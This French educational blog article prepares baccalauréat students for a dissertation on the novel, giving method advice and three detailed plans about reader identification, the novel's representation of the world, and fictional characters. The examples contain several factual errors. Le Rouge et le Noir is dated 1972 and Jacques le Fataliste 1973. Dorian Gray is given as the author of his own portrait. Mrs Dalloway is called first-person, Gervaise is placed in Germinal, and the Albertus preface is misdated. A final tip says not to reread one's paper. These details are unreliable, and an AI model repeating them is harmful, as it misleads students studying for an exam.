conclusion dissertation personnage de roman

La dissertation sur le roman expliquée en quelques exemples de plans

  • Ines Jacques
  • 12 Fév 2024

À lire dans cet article :

Parcoursup

Tu prépares le baccalauréat de français 2024 ? Nous ne t’avons pas oublié(e) ! Dans ce nouvel article, nous faisons le point avec toi sur la dissertation et plus précisément sur celles qui portent sur le roman. Pour que tu y aies une idée précise de ce qui est attendu de toi le jour de l’épreuve, nous te donnons des exemples de plans. C’est le moment de prendre quelques petites notes, si tu souhaites briller de mille feux lors de l’épreuve écrite de français. 

Eh oui, il est important que tu saches comment te comporter face à une dissertation. L’impasse est interdite sur cette épreuve coefficient 5 ! Bien souvent les candidats sont effrayés par la dissertation, qu’ils pensent plus compliquée que le commentaire de texte… à tort. La dissertation est avant tout une histoire de méthode.

Alors, ne fais pas l’impasse sur tes révisions de dissertation. On ne sait jamais, le jour de l’examen, tu seras beaucoup plus inspiré(e) par l’un des deux sujets de dissertation ! Auquel cas, impossible de te tirer une balle dans le pied en choisissant le commentaire de texte par dépit. C’est pourquoi le team Au Futur vient à ta rescousse !

Comment réussir sa dissertation sur le roman ? C’est la question à laquelle nous allons tenter de répondre ! Lors de l’épreuve écrite du baccalauréat de français, la dissertation est souvent une grande source d’angoisse et d’appréhension chez les candidats. Et pourtant, une bonne dissertation n’est qu’une affaire de méthode et d’entraînement. Tu trouveras ci-dessous trois exemples de plans de dissertation sur le roman afin de faire de toi un(e) véritable professionnel(le) de cet exercice !

La dissertation sur le roman : quelques conseils méthodologiques 

Comme un grand nombre d’exercices en français, la dissertation répond à différentes règles. Pour rédiger une (très !) bonne dissertation le jour de l’épreuve, nous te conseillons de prendre en compte les quelques conseils ci-dessous : 

  • Surligner les mots-clés  avec un code couleur.
  • Noter , pour chaque mot-clé, tout ce à quoi ça nous fait penser (faire des rappels avec le code couleur) : en donner une définition (dans le contexte), des exemples, des synonymes, des antonymes, etc. En bref, tout ce qui te vient à l’esprit (ça peut toujours servir !).
  • Mettre en relation les termes et voir ce que ça donne : les points qui se recoupent, les divergences, les questions soulevées, etc.  De cette mise en relation des termes doivent apparaître les paradoxes.  
  • Bien penser à donner des exemples pour chaque argument et citer les exemples pour appuyer l’argumentation.

L’introduction de la dissertation sur le roman

L’introduction  est très importante dans une dissertation, car c’est ce par quoi va commencer le correcteur. Une bonne introduction annonce un bon devoir (et c’est exactement l’impression que tu veux donner à ton correcteur, non ?).

La structure de l’introduction

La structure de l’introduction suit une certaine logique, que tu retrouveras ci-dessous : 

  • Lorsque c’est possible, ne pas hésiter à démarrer ton introduction avec une accroche qui présentera les différents éléments de l’argumentation (exemple : dans une dissertation sur l’héroïsme du héros de roman, une accroche sur Quasimodo, le héros du roman Notre-Dame de Paris de Victor Hugo, permet de remettre en question l’idée de l’héroïsme et de la beauté du héros de roman).
  • Énoncer le sujet tel qu’il est donné.
  • Définir les mots-clés du sujet (être concis) en en donnant différents sens. Les mettre rapidement en relation pour faire émerger le(s) paradoxe(s).

Les deux derniers points de l’introduction doivent être dédiés à l’annonce de la problématique et du plan de la dissertation.

La structure de la dissertation

I. La réponse la plus évidente à la question / affirmation posée, ce que l’on répondrait instinctivement et qui peut être appuyé par des éléments que l’on a notés sur le brouillon.

II. Le(s) paradoxe(s) , les éléments qui posent problème, il peut être intéressant de rebondir sur les premiers arguments avancés en première partie pour adopter un autre point de vue et mettre en évidence leur aspect problématique et les paradoxes soulevés. Ne pas se contredire tout de même.

III. Essayer de dépasser le(s) paradoxe(s) donnés en deuxième partie, ne pas rester bloqué(e) dans une impasse. Plusieurs possibilités s’offrent à toi : développer, sur un sens secondaire, un terme clé pour adopter un autre filtre d’analyse, étudier la position d’un acteur secondaire dans l’énoncé, jouer sur le pluriel/singulier etc. Une partie en général très personnelle, faite sur mesure par rapport à l’objet d’étude et au sujet qui rédige l’analyse.

La structure de chaque partie

I. L’argument résumé en une ou deux phrases. 

II. Développement de l’argumentation.

III. Appui de l’argument grâce à un exemple et une/des citations

IV. Une petite phrase conclusive sur l’argument développé et sur l’exemple pris.

Remarques plus spécifiques : bien penser à s’aider des différents sens des mots clefs pour avancer dans l’argumentation et la structurer, utiliser des mots de liaison (quelques exemples : tout d’abord, ensuite, enfin, toutefois, cependant, en revanche, de plus, de même, etc.) afin de structurer la dissertation, d’être bien clair et rigoureux dans la démonstration.

Nous avons choisi ces trois sujets de dissertation sur le roman, car ils traitent de trois éléments majeurs en littérature romanesque : le romancier, le personnage de roman et le lecteur.

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Sujet de dissertation :   Pour apprécier un roman, le lecteur doit-il s’identifier au personnage principal et partager ses sentiments ?

En premier lieu, nous te conseillons de faire une analyse rapide des mots-clés de ton sujet.

Apprécier : estimer quelque chose, lui reconnaître une valeur et des qualités, aimer, goûter, juger de la valeur de quelqu’un ou de quelque chose (apprécier des meubles différemment) et évaluer approximativement une chose mesurable (apprécier une distance).

Antonyme : ne pas aimer, détester.

Roman : ici fais surtout référence à l’objet matériel, au livre que l’on a en main. Une œuvre romanesque (exemple : Notre-Dame de Paris , Victor Hugo), caractérisée par un récit, une narration avec des personnages et une ou plusieurs intrigues. Dans le cadre d’une dissertation sur le roman, il est primordial de savoir précisément à quoi renvoie le terme roman.

Lecteur : l’acteur du pôle de la lecture, celui qui fait d’une certaine manière face à l’écrivain par le biais du livre. L’acteur qui a accès à l’œuvre écrite, qui rencontre dans la lecture les personnages et leurs histoires.

S’identifier : d evenir identique à une autre personne ou chose, adhérer à une idée ou chose (s’identifier à un groupe), chercher à ressembler à une autre personne et penser être identique (s’identifier à ses parents).

Antonyme : se sentir différent, se différencier.

Personnage principal : le protagoniste du roman, le personnage central de l’œuvre que le lecteur rencontre le plus dans la lecture. C’est en général le personnage sur lequel le lecteur a le plus d’informations et dont on connaît les actions, les états d’âme et les émotions.

Partager : posséder quelque chose avec une ou plusieurs personnes (partager le pouvoir), diviser quelque chose en plusieurs parties (partager un gâteau) et les répartir entre plusieurs acteurs. Deux types de relation : d’union ou de division.

Sentiments : état affectif complexe et durable lié à des émotions ou des représentations, le sentiment amoureux en littérature, un penchant bon ou mauvais (les sentiments nobles), un opinion ou avis sur quelque chose (partagez-vous mon sentiment à ce sujet ?), une connaissance plus ou moins claire et immédiate (j’ai le sentiment que…). À la fois émotionnel, irraisonné et raisonnable, interne au sujet. Va avec la notion de partage.

Ensuite, tu peux t’interroger sur les notions que nous avons vues un peu plus haut :

Évidence : dans la mesure où le lecteur accède au roman à travers ses personnages, et notamment son personnage principal, et où il s’investit émotionnellement dans le récit grâce aux expériences, émotions et pensées du protagoniste, nous pouvons affirmer que le lecteur doit s’identifier au personnage principal et partager ses sentiments pour apprécier un roman.

Paradoxes : cependant, le raisonnement à l’œuvre lors de l’appréciation d’une œuvre implique-t-il toujours une identification émotionnelle au protagoniste? De plus, les personnages principaux étant complexes et divers, peut-on toujours partager leurs sentiments? De manière générale, peut-on vraiment réduire l’appréciation d’une œuvre à l’identification sentimentale du lecteur au personnage principal ?

Dépassement des paradoxes : finalement, peut-être que la clef de l’appréciation émotionnelle d’une œuvre est la tentative d’identification du lecteur au personnage principal et de partage des sentiments. C’est une démarche qui semble automatique de la part du lecteur, un effort constant.

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Le plan de la dissertation

I. Dans la mesure où le lecteur accède au roman à travers ses personnages, et notamment son personnage principal, et où il s’investit émotionnellement dans le récit grâce aux expériences, émotions et pensées du protagoniste, nous pouvons affirmer que le lecteur doit s’identifier au personnage principal et partager ses sentiments pour apprécier un roman.

I.1. La première rencontre du lecteur avec l’œuvre est sentimentale : il lui faut donc s’identifier au personnage principal et partager ses sentiments s’il veut accrocher avec l’œuvre. Exemple : Aurélien, Aragon. Le protagoniste, aussi narrateur personnage du roman, a des sentiments et des émotions très fortes que le lecteur ressent et partage. C’est notamment le cas pour les sentiments amoureux qu’il voue à Bérénice. Le fait qu’ils soient largement exprimés dans le texte permet au lecteur de s’identifier au personnage, de se sentir proche de lui et d’entrer dans un œuvre qu’il apprécie.

I.2. Le sens “aimer” du verbe apprécier : pour aimer une œuvre, le lecteur doit pouvoir s’identifier au personnage principal, se sentir proche de lui et l’aimer donc partager ses sentiments. Exemple : le personnage de Quasimodo dans Notre-Dame de Paris de Victor Hugo. La puissance des sentiments de Quasimodo, montrés par une narration aux registres pathétique et épique et par l’alternance entre la focalisation interne et externe, touche le lecteur et malgré la difformité caractéristique du personnage (bossu) il s’identifie à celui-ci. Le lecteur se sent proche de Quasimodo lorsqu’il observe Esmeralda avec admiration et douceur, lorsqu’il la sauve de la pendaison et la cache dans la cathédrale de Notre-Dame de Paris alors qu’il est repoussé par celle qu’il aime, lorsqu’il la cherche partout dans la nuit où elle sera pendue et assiste impuissant à sa mort… La force de ses sentiments, tant heureux que tristes, touche le lecteur et crée un lien entre le personnage et lui. Le lecteur apprécie le roman parce qu’il aime Quasimodo et se sent émotionnellement proche de lui.

I.3. La distance entre le lecteur et l’œuvre : il est nécessaire pour pouvoir totalement entrer dans l’histoire de s’identifier au personnage principal, d’être proche de lui. Cela va avec le premier sens du verbe “s’identifier”, devenir identique. Exemple : Le Rouge et le Noir , Stendhal (1972). Le lecteur actuel, qui n’a pas connu l’époque dans laquelle a lieu la narration, entre dans l’histoire en partie grâce à son identification au personnage de Julien Sorel. Ce jeune homme, amoureux d’une femme plus âgée qui semble inaccessible, touche le lecteur par la force et la jeunesse de ses sentiments. L’amour et le désir étant des sentiments communs à tous les êtres humains, le lecteur s’identifie évidemment au personnage principal. C’est ce qui lui permet d’entrer dans le récit, dans l’intrigue.

II. Cependant, peut-on vraiment réduire l’appréciation d’une œuvre à l’identification sentimentale du lecteur au personnage principal et au partage des mêmes sentiments ?

II.1. Le second sens du verbe apprécier : la raison est aussi importante dans l’appréciation d’une œuvre, dans son évaluation. L’aspect sentimental n’est pas nécessaire pour évaluer une œuvre. Exemple : Jacques le Fataliste et son maître , Diderot (1973). Dans le cadre d’une appréciation définie comme jugement, la complexité technique du roman est le critère d’évaluation. Le lecteur apprécie ce roman, car il est d’une complexité intrigante et intéressante. Il le juge bon, car raisonnablement, c’est une prouesse technique. Dans ce cas, la raison est suffisante pour apprécier un roman.

II.2. La différence de caractère entre le lecteur et le personnage principal du roman peut engendrer la curiosité du lecteur : il n’est pas toujours nécessaire de s’identifier au personnage principal pour apprécier une œuvre. Exemple : L’étranger de Camus. Le personnage principal de ce roman, antipathique et perturbant pour le lecteur, le surprend et va être une source de curiosité. Cette originalité de l’œuvre va être le critère d’appréciation du lecteur. Il n’a parfois pas besoin de s’identifier au personnage principal ou de partager ses sentiments pour apprécier un roman.

II.3 . La figure de l’anti-héros qui ressent des sentiments destinés à choquer et à dégoûter le lecteur, donc à piquer sa curiosité : partager les sentiments du personnage principal n’est pas toujours obligatoire pour apprécier une œuvre. Exemple :   Les Bienveillantes, Jonathan Littell. Le personnage principal prend du plaisir en observant une exécution et est acteur dans le processus d’extermination des juifs par les nazis. Il apparaît détestable aux yeux du lecteur, ses actions et pensées le choquent. Dans ces cas-là, le dégoût est la source d’intérêt du lecteur. Il ne s’identifie pas au personnage principal ni ne partage ses sentiments, le dégoût et le mépris qu’il lui porte sont ce qui lui font apprécier le roman.

III. Finalement, peut-être que la clef de l’appréciation émotionnelle d’une œuvre est la tentative d’identification du lecteur au personnage principal et de partage des sentiments. C’est une démarche qui semble automatique de la part du lecteur, un effort constant.

III.1. La différence de caractère entre le personnage principal et le lecteur engendre un désir de compréhension de la part du second acteur : même lorsque le personnage principal présente de nombreuses différences avec le lecteur, la démarche la plus naturelle de la part de celui-ci est le désir de compréhension. Le lecteur essaye constamment de comprendre le personnage de roman, c’est une manière de s’identifier à lui, car il tente de se mettre à sa place. Et c’est une démarche qui suscite l’appréciation du lecteur. Exemple : Madame Bovary , Flaubert. Le personnage principal est une femme qui, épouse d’un officier de santé et vivant en pleine campagne, rêve d’une vie noble et trépidante très loin de ce cadre de vie. Ses rêveries constantes, inspirées des romans à l’eau de rose, en font un personnage très particulier. Néanmoins, le lecteur va instinctivement tenter de comprendre pourquoi elle prend des amants et pourquoi elle s’échappe dans un monde imaginaire où elle se rêve en princesse de Cour. Malgré la différence de caractère entre le personnage principal et le lecteur, cette démarche de compréhension permet l’appréciation de l’œuvre.

III.2. Tout sentiment du personnage principal peut essayer d’être compris par le lecteur : partager les sentiments du personnage principal de manière immédiate n’est pas toujours nécessaire pour apprécier un roman, la tentative de compréhension est une autre voie d’appréciation des œuvres. Naturellement, le lecteur va tenter de comprendre les raisons qui poussent le personnage à avoir des sentiments qu’il ne partage pas. Il se met dans la peau du personnage et peut parfois parvenir à partager des sentiments qui lui étaient extérieurs dans un premier temps. Exemple : Notre-Dame de Paris , Victor Hugo . Le personnage de Claude Frollo, dont l’attitude par rapport à Esmeralda est très violente et inconstante, présente de grandes différences de caractère avec un lecteur lambda. Celui-ci peut avoir des difficultés à comprendre pourquoi Claude sabote les interventions publiques d’Esmeralda et organise la mise à mort de celle qu’il aime. Mais ce qui va permettre au lecteur d’apprécier l’œuvre est sa démarche de tentative de compréhension des actions de Claude : ce personnage frustré, rongé par le désir et possessif, fait tout pour ne pas céder à ses pulsions et contrôler la situation. Face à une femme qui l’attire et qui repousse ses avances, il l’éloigne et fait en sorte que personne d’autre que lui ne l’ait. Cette compréhension acquise, le lecteur apprécie le roman.

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La conclusion

Revenir chronologiquement sur les éléments majeurs de l’analyse de la dissertation sur le roman. Si possible, terminer avec une ouverture sur une possibilité non explorée dans l’analyse.

Les éléments à évoquer : pour aimer une œuvre, il semble tout d’abord évident que le lecteur doive s’identifier au personnage principal et partager ses sentiments. C’est une manière d’entrer dans l’œuvre, d’accrocher avec elle. Cependant, l’appréciation d’une œuvre par le lecteur ne nécessite pas toujours de satisfaire ces critères. La raison et la curiosité suscitée par la différence sont d’autres critères d’appréciation d’une œuvre. Enfin, ce qui compte peut-être le plus pour l’appréciation d’une œuvre est la démarche de tentative de compréhension, d’identification et de partage des sentiments du personnage principal de la part du lecteur.

Sujet de dissertation : Le roman doit-il toujours représenter le monde tel qu’il est ?

Roman : tant l’objet matériel (le livre) que le genre romanesque. Comme dit précédemment, dans le cadre d’une dissertation sur le roman, il est primordial de définir ce terme.

Doit : le verbe devoir, une obligation, un devoir, une convention ou un sentiment de devoir.

Toujours : sans cesse, sans exception.

Représenter … tel qu’il est : dessiner à l’identique, re-présenter = présenter de nouveau donc recréer, redessiner.

Monde : le monde réel, l’espace dans lequel l’humanité vit. Ce qui nous entoure, tant la Terre que le cosmos.

Évidence : dans le sens où le roman est par nature fictif, c’est-à-dire un lieu d’invention et de création d’un monde à partir de ce que nous connaissons,il semble difficile d’affirmer que le roman doit toujours représenter le monde tel qu’il est. Il façonne un monde nouveau né de ses expériences, connaissances et idées.

Paradoxes : cependant, une écriture déconnectée du monde présente le risque de ne plus le représenter du tout. Le “poète dans sa tour d’ivoire” qui représente un monde trop inconnu pour le lecteur prend le risque de ne plus réussir à communiquer avec son lecteur.

Dépassement des paradoxes : finalement, afin de représenter au mieux le monde et de transmettre quelque chose au lecteur, le roman doit peut-être associer le réalisme, la représentation telle quelle et la fiction ; et choisir le bon moment pour adopter un style ou un autre.

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I. Dans le sens où le roman est par nature fictif, c’est-à-dire un lieu d’invention et de création d’un monde à partir de ce que nous connaissons, il semble difficile d’affirmer que le roman doit toujours représenter le monde tel qu’il est. Il façonne un monde nouveau né de ses expériences, connaissances et idées.

I.1. La nature fictive du roman : le genre romanesque est caractérisé par la fiction narratologique donc par la création d’une version “fausse” du monde qui nous entoure. Par nature, le roman ne doit donc pas représenter le monde tel qu’il est. C’est un exercice de style. Exemple : Flaubert, extrait de sa lettre à Louise Colet (16 janvier 1852) : “ce que je voudrais faire, c’est un livre sur rien, un livre sans attache extérieure, qui se tiendrait de lui-même par la force de son style.”

I.2. La grande part d’invention dans le travail d’écriture d’un roman, le verbe re-présenter : l’écriture d’un roman implique une grande part d’invention de la part du romancier, il crée un univers fictif tant à partir de ses expériences réelles que de ses idées. Les romanciers revendiquent ceci, c’est une démarche caractéristique de l’écriture romanesque. Le roman ne doit donc pas, par nature, toujours représente le monde tel qu’il est. Exemple : Fiction et diction , Gérard Genette. Ce spécialiste du roman insiste sur son caractère fictionnel.

I.3. La liberté des romanciers dans le choix de la part de fiction et de réalité : les romanciers revendiquent une certaine liberté quant à leur travail d’écriture, ils sont libres de choisir la part de fiction dans l’élaboration du monde fictif. Le devoir de toujours représenter le monde tel qu’il est est plutôt celui de l’historien.  Exemple : La fiction et les faits , Antony Beevor. Il distingue le romancier et l’historien par le recours à la fiction ou aux faits.

II. Cependant, une écriture déconnectée du monde présente le risque de ne plus le représenter du tout. Le romancier “dans sa tour d’ivoire” qui représente un monde trop inconnu pour le lecteur prend le risque de ne plus réussir à communiquer avec son lecteur.

II.1. La difficulté de lecture et de compréhension d’un roman qui représente un monde très différent du lecteur : une œuvre qui représente un monde totalement inconnu, abstrait et parfois absurde pour le lecteur présente des difficultés de lecture et risque d’être incomprise par le lecteur. Un écart trop grand entre le monde réel et la manière dont il est représenté dans le roman peut ainsi engendrer une œuvre qui ne représente rien pour le lecteur. Exemple : critiques faites au surréalime et au symbolisme, et à des auteurs comme André Breton ou Mallarmé. Leurs œuvres sont qualifiées d’hermétiques, donc incompréhensibles et illisibles (exemple : Nadja, Breton).

II.2. Le risque d’une écriture élitiste, hautaine, car déconnectée du monde réel : un reproche possible à un roman qui ne représente pas le monde tel qu’il est sa déconnexion avec la réalité du peuple. C’est le reproche qui est fait au “poète dans sa tour d’ivoire” qui surplombe le monde, la réalité quotidienne et ne représente pas le monde dans ses œuvres.  Exemple : Théophile Gautier revendique cette position dans la préface d’ Albertus (1852), “L’auteur du présent livre n’a vu du monde que ce que l’on voit par la fenêtre, et il n’a pas envie d’en voir davantage.”

III. Finalement, afin de représenter au mieux le monde et de transmettre quelque chose au lecteur, le roman doit peut-être associer le réalisme, la représentation telle quelle et la fiction ; et choisir le bon moment pour adopter un style ou un autre.

III.1. Bien répartir la part de fiction et de représentation du monde tel quel afin de donner plus de vraisemblance au roman. Parfois, mélanger la représentation du monde et l’élaboration fictionnelle peut donner plus de réalité au monde représenté. La fiction comme complément du réel, lorsqu’elle est bien dosée, donne de la vraisemblance au monde du roman. Exemple : Notre-Dame de Paris , Victor Hugo (1831) : la représentation de la Cour des Miracles dans le chapitre de “La Cruche Cassée”. Cet espace, peuplé par des brigands et des éclopés, est une légende parisienne. Les livres historiques disent qu’elle a existé, mais elle n’apparaît sur aucune carte topographique de Paris de l’époque. Or Victor Hugo en fait un espace central du roman, perdu au milieu des ruelles, fantastique, effrayant et parodique. Il lui donne une réalité dans le roman. Et ceci donne un caractère vraisemblable au Paris représenté dans la narration.

III.2. Choisir le bon moment pour représenter le monde tel quel ou au contraire avoir recours à la fiction : afin de représenter au mieux le monde et de lui donner un caractère réel et vraisemblable dans le récit, l’auteur doit choisir sa posture selon le moment. Exemple : Notre-Dame de Paris , Victor Hugo (1831). De nombreux éléments sont des faits historiques, mais ces éléments côtoient les élaborations fictionnelles. Victor Hugo choisit avec ingéniosité quand représenter le monde tel qu’il est et avoir recours à la fiction. Par exemple, les chapitres centrés sur l’architecture de Paris (“Paris à vol d’oiseau”, “Notre-Dame de Paris”) décrivent presque historiquement le monde représenté. Les détails architecturaux sont nombreux et il peint le Paris de son époque. Mais d’autres chapitres plus fictionnels quant au monde (L’élection de Quasimodo comme pape des fous au Livre I par exemple) nous ramènent à la définition même du roman et aux intrigues du roman. La scène où Quasimodo est élu enrichit le personnage principal du roman, annonce son importance future autant qu’elle présente une tradition du peuple de Paris. Ce passage donne de la vraisemblance au roman et fait avancer l’intrigue. Victor Hugo, en alternant entre la représentation réelle du monde et l’élaboration fictionnelle, construit un monde vraisemblable et convaincant pour le lecteur.

Les points à aborder :  par nature, le roman ne tend pas à toujours représenter le monde tel qu’il est. Pourtant, une distance trop grande entre le monde et la représentation romanesque peut comporter des risques tels que l’incompréhension et le reproche d’orgueil. Finalement, le roman doit peut-être associer la représentation calquée du monde et la fiction pour créer un monde vraisemblable et convaincant.

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Sujet de dissertation : Dans quelle mesure le personnage de roman donne-t-il au lecteur un accès à la complexité de l’âme humaine ?

Attention : les sujets de dissertation sur le roman du type “dans quelle mesure” sont spécifiques et n’appellent pas une réponse du type oui / non. La manière la plus facile de traiter ce type de sujet est de structurer le plan avec les différents sens de “dans quelle mesure” : Comment ? À quel point ? Dans quelles conditions ?  (le sens des questions peut être inversé pour traiter au mieux le sujet)

Personnage de roman : le personnage créé par l’auteur au sein de son roman, le protagoniste du roman.

Donne … un accès : donne au lecteur une voie d’accès à quelque chose, un filtre de compréhension de quelque chose.

Lecteur : l’acteur du pôle de la lecture, celui qui lit l’œuvre.

Complexité de l’âme humaine : l e caractère complexe de l’âme humaine, ce qui la rend difficile à saisir et à rendre. La complexité va avec la diversité, l’entrelacement de différents éléments et la difficulté d’intelligibilité.

Comment : dans la mesure où le personnage de roman est un être humain dont les pensées, les sentiments et les émotions parfois contradictoires sont donnés au lecteur, il donne un accès à la complexité de l’âme humaine à celui qui lit. Le recours au narrateur personnage, aux différents types de discours et à la description sont des moyens littéraires  majeurs pour donner au lecteur un accès à la complexité de l’âme humaine.

À quel point : Il faut néanmoins nuancer l’affirmation catégorique selon laquelle le personnage de roman donnerait au lecteur un accès à la complexité de l’âme humaine. Les personnages de romans archétypiques sans réelle profondeur ainsi que ceux dont on ne connaît que très peu de choses ne donnent pas réellement au lecteur un accès à la complexité de l’âme humaine. Il y a une mesure à ce processus.

Dans quelles conditions : afin de dépasser cette impasse, nous pouvons nous demander quels personnages de romans donnent un accès à la complexité de l’âme humaine. (Une typologie est toujours appréciée dans une dissertation).  

I. Quels sont les moyens utilisés pour que le personnage de roman donne au lecteur un accès à la complexité de l’âme humaine ?

I.1. Le narrateur personnage : la focalisation interne donne au lecteur un accès aux pensées, réflexions et émotions du personnage de roman. Étant généralement un personnage complexe en proie à des doutes, des émotions contradictoires ou des pensées problématiques, son âme reflète la complexité de l’âme humaine. Y avoir accès nous donne donc un accès à la complexité de l’âme humaine. Exemple : Les Années , Annie Ernaux (2008). Le narrateur personnage représenté par le pronom “on” (autobiographie déguisée d’Annie Ernaux) raconte sa vie de femme dans les années 1960 en évoquant des émotions fortes et contrastées. Le fait qu’Annie Ernaux raconte ses expériences, émotions et épreuves à la première personne du pluriel nous donne accès à la complexité de son âme, et donc à la complexité de l’âme humaine.

I.2. Le flux de conscience : ce procédé littéraire qui consiste à inscrire dans le texte le flux de pensées d’un personnage sans le structurer, laissant l’âme s’exprimer librement, reflète parfaitement la manière complexe dont fonctionne le flux de pensées des hommes. Ce type de discours permet au personnage de roman de donner au lecteur un accès à la complexité de l’âme humaine. Exemple : Mrs Dalloway, Virginia Woolf (1925). Ce roman, caractérisé par le récit à la première personne et le flux de conscience de Mrs Dalloway (narratrice), offre au lecteur un accès à la complexité de l’âme humaine à travers son personnage principal. Ses perpétuelles hésitations, digressions et évolutions, données grâce au procédé d flux de conscience, reflètent le fonctionnement de l’être humain. De même que Mrs Dalloway, nos pensées et décisions s’entremêlent à chaque instant.

I.3. Le portrait détaillé : la construction détaillée du portrait d’un personnage de roman donne un accès à la complexité de l’âme humaine. Le portrait détaillé d’un personnage est une description dans laquelle apparaissent l’histoire complexe de sa vie, ses sentiments vis-à-vis de son entourage et du monde ou même ses idées dans divers domaines comme la manière de vivre, la philosophie ou la société. Ce portrait pourrait tout à fait être celui d’un homme ou d’une femme du monde réel que l’on connaît. Ce portrait, applicable tant au personnage de roman qu’à l’homme réel, est donc un moyen littéraire essentiel pour donner au lecteur un accès à la complexité de l’âme humaine. Exemple : Le personnage de Claude Frollo dans Notre-Dame de Paris de Victor Hugo. C’est un archidiacre pour qui le respect des lois morales et religieuses est essentiel. Il est bon avec son frère et Quasimodo, enfant abandonné qu’il a adopté. Mais il est aussi rongé par le désir et la jalousie, ce qui l’amène à maltraiter Esmeralda (dont il est amoureux), à tenter de tuer le chevalier Phoebus (par jalousie) et à prendre ses distances par rapport à son protégé Quasimodo. Son trouble est intense, comme le montre le chapitre où il déambule dans Paris et ne fait que tourner en rond. Le portrait très complet qui en est donné donne au lecteur un accès à la complexité de l’âme humaine.

II. À quel point le personnage de roman donne au lecteur un accès à la complexité de l’âme humaine ?

II.1. Les personnages de romans archétypiques construits dans une réelle profondeur, existent par leur apparence et non par la complexité de leur âme : parfois, les auteurs choisissent de construire de personnages archétypiques afin qu’ils représentent une certaine classe sociale, une attitude ou un type de personnes de la société. Ces personnages sont caractérisés par une existence apparente et des traits forcés. L’auteur leur donne peu de profondeur. Leur rôle n’est pas de donner un accès à la complexité de l’âme humaine, mais bien de représenter artificiellement un type de personnes. Exemple : L’éducation sentimentale , Flaubert. Le personnage principal est le héros romantique par excellence, tant par son physique que par son caractère sensible et ses activités préférées (la contemplation, l’observation). Il est l’archétype du héros romantique. La scène où les deux amants sont sur une barque et entonnent des vers est une caricature de l’entretien amoureux. La fonction de ce personnage n’est donc pas de donner accès à la complexité de l’âme humaine, il représente un genre dans le cadre d’une caricature.

II.2. Le narrateur omniscient et les descriptions peu détaillées associés au personnage de roman ne permettent pas au lecteur d’avoir un accès à la complexité de l’âme humaine : le discours peut instaurer une distance entre le personnage de roman et le lecteur, ce qui complique l’accès à la complexité de l’âme humaine. Les outils majeurs de cette mise à distance sont le narrateur omniscient et les descriptions très superficielles. Exemple : Le personnage de Bérénice dans Aurélien , d’Aragon. Ce personnage féminin est présenté au lecteur par le biais du regard d’Aurélien, nous ne connaissons pas ses pensées et Aurélien en donne des descriptions principalement corporelles. Sans une focalisation interne de Bérénice et des descriptions développées de ses états d’âme, ce personnage ne permet pas au lecteur de saisir pas la complexité de l’âme humaine.

III. Finalement dans cette dissertation, quel personnage de roman donne au lecteur un accès à la complexité de l’âme humaine ?

III.1. Le personnage de roman torturé par des sentiments forts et contradictoires : ce type de personnage donne au lecteur un accès à la complexité de l’âme humaine, car les sentiments contradictoires qui le traversent sont aussi ceux du lecteur. Cette situation de trouble peut aussi bien toucher le personnage que le lecteur. Exemple : Le personnage masculin du chevalier des Grieux dans Manon Lescaut, de l’Abbé Prévost. Ce personnage est amoureux de Manon Lescaut, une jeune femme inconstante qui après avoir vécu une histoire d’amour avec le jeune homme va le tromper, le quitter et lui demander de l’argent. Celui-ci, tiraillé entre l’amour qu’il lui porte et la méfiance, la rancœur et la douleur, est sujet à des fortes émotions contradictoires. Les moments où il lui déclare un amour inconditionnel côtoient ceux où il affirme la détester. Or cette cohabitation de l’amour et de la haine est caractéristique de l’être humain amoureux tantôt approuvé, tantôt repoussé par celle qu’il aime. Ce personnage torturé donne donc accès à la complexité des sentiments humains.

III.2. Le personnage de roman vraisemblable : un personnage de roman qui ressemble aux êtres humains dans son fonctionnement, ses actions et ses sentiments donne accès à la complexité de l’âme humaine, car il en est le reflet. Sa grande ressemblance avec le genre humain en fait un personnage particulièrement efficace dans l’accès à une âme humaine complexe. Exemple : Germinal , Zola (roman réaliste). Les personnages de ce roman (Gervaise, son fils et les mineurs principalement) sont représentatifs de la vie liée à la lutte des classes. Leurs états d’âme, leurs actions ainsi que leurs décisions sont les reflets du genre humain dans le cadre d’une situation d’affrontement des différentes classes sociales.

III.3. L’anti-héros : l’anti-héros, de prime abord très différent du lecteur, peut aussi lui donner un accès à la complexité de l’âme humaine, car il représente la face cachée de l’homme. Cette face, que tous les êtres humains connaissent sans vouloir y penser, est ce qui fait que l’homme est homme. La cohabitation de qualités et de défauts constitue la complexité de l’âme humaine. Ainsi, un anti-héros laid, mauvais, avare ou arrogant donne au lecteur un accès à la face sombre de l’homme. Exemple : Le portrait de Dorian Gray, Dorian Gray. Le personnage principal de ce roman, rongé par le désir de pouvoir et de beauté, va devenir cruel et indifférent à ceux qui l’entourent. Cet égoïsme extrême, cette soif de pouvoir et de perfection sont des traits sombres de l’humain. Ce personnage, par son renoncement à la morale et sa chute dans la recherche de la perfection, reflète la tentation de la noirceur, de l’immoralité et de l’égoïsme chez l’homme. Il donne accès à la face cachée de l’humanité, donc à sa complexité.

Lire aussi : Les mouvements littéraires et leurs caractéristiques

Revenir chronologiquement sur les éléments majeurs de l’analyse de la dissertation sur le roman. Si possible, terminer avec une ouverture sur une possibilité non explorée dans l’analyse de la dissertation sur le roman.

Les éléments à évoquer : d ans les cas où le personnage de roman est narrateur personnage, où ses pensées sont données telles quelles et où son portrait est très détaillé ; il donne au lecteur un accès à la complexité de l’âme humaine. Toutefois, il y a des limites à ce processus. Les personnages de romans typiques ou ceux dont le portrait peu détaillé est donné par un narrateur omniscient ne donnent pas forcément cette chance au lecteur. Finalement, une typologie du type de personnage de roman qui donne accès à la complexité de l’âme humaine donne une idée plus précise de la fonction de ce personnage. Le personnage de roman torturé, le personnage vraisemblable et l’anti-héros sont trois types de personnages qui donnent cet accès à la complexité humaine.

En plus de réussir une bonne dissertation sur le roman, grâce à cette fiche que tu viens de lire attentivement, nous t’invitons à découvrir nos conseils pour avoir 20/20 au baccalauréat de français !

Conseils pour réussir ta dissertation au baccalauréat de français 

Parce que toute l’équipe Au Futur souhaite que tu réussisses avec brio l’épreuve de la dissertation de français, voici quelques conseils que tu peux précieusement adopter pour avoir une méthodologie efficace : 

Faire un brouillon de qualité

On te conseille évidemment de faire un brouillon avant de commencer directement ta rédaction au propre. Pour faire un brouillon efficace, on a une technique infaillible : consacrer une feuille de brouillon par partie puis écrire uniquement sur le recto. Avec cette technique, tu as une vue d’ensemble sur tes idées.

Ne pas relire ta copie à la fin !

